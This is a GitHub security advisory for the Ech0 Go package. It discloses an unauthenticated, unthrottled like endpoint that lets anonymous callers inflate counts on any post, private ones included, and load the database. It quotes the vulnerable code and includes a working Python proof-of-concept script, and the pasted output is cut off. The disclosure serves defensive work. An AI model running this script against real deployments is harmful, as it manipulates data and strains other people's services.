GitHub Security Advisory: GHSA-pj6q-4vq4-r8cg
Package: github.com/lin-snow/Ech0 (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling, CWE-862: Missing Authorization
Vulnerable versions: < 1.4.8-0[PII_REDACTED]5905-cecc2c19b590
Patched in: 1.4.8-0[PII_REDACTED]5905-cecc2c19b590

Summary: Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count

Details:
## Summary

`PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.

## Details

Route registration at `internal/router/echo.go:12`:

```go
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
```

`PublicRouterGroup` is `r.Group("/api")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`:

```go
func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
    var exists bool
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
        return err
    }
    if !exists {
        return errors.New(commonModel.ECHO_NOT_FOUND)
    }
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Where("id = ?", id).
        UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
        return err
    }
    return nil
}
```

No viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.

## Proof of Concept

Default install, anonymous caller on the network:

```python
import requests
TARGET = "http://localhost:8300"

# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]

# 2) Like it. Repeat without deduplication.
for i in range(3):
    r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
    print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")

# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
#    but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b"  # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")
```

Observed on v4.5.6 in the test container:

```
public like